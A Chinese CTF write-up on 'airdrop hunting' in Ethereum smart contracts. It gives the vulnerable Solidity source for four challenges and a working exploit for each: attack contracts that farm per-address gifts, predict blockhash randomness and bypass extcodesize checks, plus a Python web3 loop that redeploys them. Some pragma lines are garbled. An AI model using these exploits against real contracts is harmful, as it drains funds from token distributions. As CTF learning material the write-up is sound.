Airdrop Hunting

wiki部分

关于薅羊毛,原理很简单例如一个空投函数可以供所有人调用,那我用多个账户每个账户调用一次,最后把这些钱都转到一个账户上就累计成了巨大的财富,这就是薅羊毛。

数字经济大赛 2019

题目合约地址0x94bc4F858fcCf7B016ca240AfbDC93Db7C4FF656 攻击合约地址0xf60FbFE6eA8B16EA6cd03d8922eCAe684461F899 源码

pragma solidity
{ #0}
.4.24;

contract jojo {
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public gift;
    address owner;

    constructor()public{
        owner = msg.sender;
    }

    event SendFlag(string b64email);

    function payforflag(string b64email) public {
        require(balanceOf[msg.sender] >= 100000);
        emit SendFlag(b64email);
    }

    function jojogame() payable{
        uint geteth = msg.value / 1000000000000000000;
        balanceOf[msg.sender] += geteth;
    }

    function gift() public {
        assert(gift[msg.sender] == 0);
        balanceOf[msg.sender] += 100;
        gift[msg.sender] = 1;
    }

    function transfer(address to,uint value) public{
        assert(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
    }

}

攻击

典型薅羊毛,直接生成一千个账户调用gift然后转账给一个账户即可

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;

import "./source.sol";
contract exp {
    jojo target = jojo(0xd9145CCE52D386f254917e481eB44e9943F39138);
    constructor() payable public {
        
    }

    function getBalance(uint num) public {
        for (uint i =0 ;i <  num ; i++){
            new attack(address(this));
        }
    }

    function getFlag(string b64email) public{

        target.payforflag(b64email);
    }

    function balanceOf(address add) public returns (uint){
        return target.balanceOf(add);
    }
}

contract attack {

    constructor (address address1) payable public{
        jojo target = jojo(0xd9145CCE52D386f254917e481eB44e9943F39138);
        target.gift();
        target.transfer(address1,100);
    }
}

设置num为0x100调用getBalance四次即可满足题意

最后调用getFlag即可,查看题目合约的events。

RoarCTF 2019 CoinFlip

合约源码

/**
 *Submitted for verification at Etherscan.io on 2019-10-08
*/

pragma solidity
{ #0}
.4.24;

contract P_Bank
{
    mapping (address => uint) public balances;
    
    uint public MinDeposit = 0.1 ether;
    
    Log TransferLog;

    event FLAG(string b64email, string slogan);
    


    constructor(address _log) public { 
        TransferLog = Log(_log);
     }

    function Ap() public {
        if(balances[msg.sender] == 0) {
            balances[msg.sender]+=1 ether;
        }
    }

    function Transfer(address to, uint val) public {
        if(val > balances[msg.sender]) {
            revert();
        }
        balances[to]+=val;
        balances[msg.sender]-=val;
    }

    function CaptureTheFlag(string b64email) public returns(bool){
      require (balances[msg.sender] > 500 ether);
      emit FLAG(b64email, "Congratulations to capture the flag!");
    }

    
    function Deposit()
    public
    payable
    {
        if(msg.value > MinDeposit)
        {
            balances[msg.sender]+= msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }
    
    function CashOut(uint _am) public 
    {
        if(_am<=balances[msg.sender])
        {
            
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }
    
    function() public payable{}    
    
}

contract Log 
{
   
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }
    
    string err = "CashOut";
    Message[] public History;
    
    Message LastMsg;
    
    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

攻击

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;

import "./source.sol";
contract exp {
    
    address t = 0xd9145CCE52D386f254917e481eB44e9943F39138;
    P_Bank target = P_Bank(t);

    constructor()  payable  public {

    }

    function attack(uint num,address acount) payable  public {
        for ( uint i =0;i< num ; i++){
                target.Ap();
                target.Transfer(acount, 1 ether);
        }
    }
}

QWB 2019

题目部署合约地址0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A 攻击合约地址0x8Bb4Be3a00EeAF6858EB0b934532A18bdbDE713F

源码

pragma solidity
{ #0}
.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
            balance[msg.sender]=0;
        }
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    
    //get_profit
    function profit(){
        require(status[msg.sender]==0);
        balance[msg.sender]+=10;
        status[msg.sender]=1;
    }
    
    //add money
    function () payable{
        balance[msg.sender]+=msg.value/1000000000000000000;
    }
    
    //bet
    function bet(uint num) {
        require(balance[msg.sender]>=10);
        require(status[msg.sender]<2);
        balance[msg.sender]-=10;
        uint256 seed = uint256(blockhash(block.number-1));
        uint rand = seed % 3;
        if (rand == num) {
            balance[msg.sender]+=1000;
        }
        status[msg.sender]=2;
    }
    
    //transfer
    function transferbalance(address to,uint amount){
        require(balance[msg.sender]>=amount);
        balance[msg.sender]-=amount;
        balance[to]+=amount;
    }
    
}

攻击

这题似乎当时比赛是给了选手部分源码,剩下的需要逆向,我这里就直接拿源码做了,本菜鸡基础的攻击学完了再逆向吧。

源码漏洞比较明显,先调用profit然后随机数预测调用bet,然后转账。生成多个合约账户来薅羊毛。

攻击合约如下

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;

import "./source.sol";

contract exp {
    

    constructor() public payable{
       
    }
    function Attack(address to, uint num) public {
        for (uint i =0 ; i < num ;i++){
            attack exp = new attack();
            exp.bet1();
            exp.transfer(to);
        }

    }
    function getFlag(string md5ofteamtoken,string b64email) public{
        address a = 0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A;
        babybet target = babybet(a);
        target.payforflag(md5ofteamtoken, b64email);
    }
}

contract attack {
    address a = 0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A;
    babybet target = babybet(a);

    constructor() public payable{

        // target.transferbalance(to,uint(1100));
    }

    
    function bet1() public payable  {
        target.profit();
        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;
        target.bet(guess1);
    }

    function transfer(address to) public {
        target.transferbalance(to, 1000);
    }
}

设置num为0x63一次+(99*1000),我设置0x64就g,多次调用之后就能满足条件了。

最后调用攻击合约的getFlag即可

bctf 2018 Fake3d

前置知识 tx.origin和msg.sender

参考文章

分析

经典的Fake3d漏洞 参考文章

wp 合约源码

contract WinnerList{
    address public owner;
    struct Richman{
        address who;
        uint balance;
    }

    function note(address _addr, uint _value) public{
        Richman rm;
        rm.who = _addr;
        rm.balance = _value;
    }

}

contract Fake3D {
    using SafeMath for *;
    mapping(address => uint256)  public balance;
    uint public totalSupply  = 10**18;
    WinnerList wlist;

    event FLAG(string b64email, string slogan);

    constructor(address _addr) public{
        wlist = WinnerList(_addr);
    }

    modifier turingTest() {
            address _addr = msg.sender;
            uint256 _codeLength;
            assembly {_codeLength := extcodesize(_addr)}
            require(_codeLength == 0, "sorry humans only");
            _;
    }

    function transfer(address _to, uint256 _amount) public{
        require(balance[msg.sender] >= _amount);
        balance[msg.sender] = balance[msg.sender].sub(_amount);
        balance[_to] = balance[_to].add(_amount);
    }


    function airDrop() public turingTest returns (bool) {
        uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
        )));

        if((seed - ((seed / 1000) * 1000)) < 288){
            balance[tx.origin] = balance[tx.origin].add(10);
            totalSupply = totalSupply.sub(10);
            return true;
        }
        else
            return false;
    }

   function CaptureTheFlag(string b64email) public{
        require (balance[msg.sender] > 8888);
        wlist.note(msg.sender,balance[msg.sender]);
        emit FLAG(b64email, "Congratulations to capture the flag?");
    }

}

攻击

airDrop中存在随机数预测,满足if条件后就能让balance+10了,但注意这里使用的是tx.origin就是最开始调用合约的账户而不是调用airDrop函数的攻击合约账户地址。其中的turingTest可使用合约的构造函数绕过。

这里我最开也想到既然它判断了(seed - ((seed / 1000) * 1000)) < 288那么直接调用函数不就完了,总会有几率满足条件,不过就有点暴力,看了wp这样做确实也是能做的。。

部署攻击合约

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.24;

import "./source.sol";

import "./safemath.sol";

contract exp {
    using SafeMath for *;
    address contractAddress = 0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443;
    Fake3D target = Fake3D(contractAddress);
    constructor() payable public{
        for (uint i=0;i<100;i++){
            new attack();
        }
    }
}


contract attack {
        using SafeMath for *;
        constructor() payable public  {
            address contractAddress = 0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443;
            Fake3D target = Fake3D(contractAddress);   
            target.airDrop();
    }

}


这样一次能加两三百,编写脚本不断部署合约即可

import solcx
from eth_abi import abi, encode_abi
from  eth_utils import  keccak
from Crypto.Util.number import bytes_to_long
from web3 import Web3,HTTPProvider
from hexbytes import *
def exp():
    print('start------------------------------------------------------')
    abi = '''[
	{
		"inputs": [],
		"payable": true,
		"stateMutability": "payable",
		"type": "constructor"
	}
]'''

    bytecode  = '''6080604052739f8fc2b400cd43ed139d0c9e949f1c70be2524436000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090505b60648110156100fc576100d1610102565b604051809103906000f0801580156100ed573d6000803e3d6000fd5b505080806001019150506100c0565b50610112565b6040516101038061015583390190565b6035806101206000396000f3006080604052600080fd00a165627a7a72305820ef15eff16f1da73a365765ef3bb4f2b0398b4723b68336998e2b0463e288768100296080604052600080739f8fc2b400cd43ed139d0c9e949f1c70be25244391508190508073ffffffffffffffffffffffffffffffffffffffff1663ca5d08806040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015608457600080fd5b505af11580156097573d6000803e3d6000fd5b505050506040513d602081101560ac57600080fd5b81019080805190602001909291905050505050506035806100ce6000396000f3006080604052600080fd00a165627a7a7230582042145ac5fce3a8d227a9e236ac33166a281f4454a234c72a076721571b8408c50029'''

    account_from = {
        'private_key': 'your private key',
        'address': '0x9c5D5bE2a76503957853d9b6f81fFDE226635739',
    }

    contract_address     = Web3.toChecksumAddress("0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443")
    rpc = "your rpc "
    web3 = Web3(HTTPProvider(rpc))

    print(f'Attempting to deploy from account: { account_from["address"] }')

    # 4. Create contract instance
    Incrementer = web3.eth.contract(abi=abi, bytecode=bytecode)

    # 5. Build constructor tx
    construct_txn = Incrementer.constructor().buildTransaction(
        {
            'from': account_from['address'],
            'nonce': web3.eth.get_transaction_count(account_from['address']),
        }
    )

    # 6. Sign tx with PK
    tx_create = web3.eth.account.sign_transaction(construct_txn, account_from['private_key'])

    # 7. Send tx and wait for receipt
    tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)
    tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

    print(f'Contract deployed at address: { tx_receipt.contractAddress }')
    print("next------------------------------------------------------")
if __name__ == '__main__':
    while True:
        exp()

到达条件之后调用CaptureTheFlag函数即可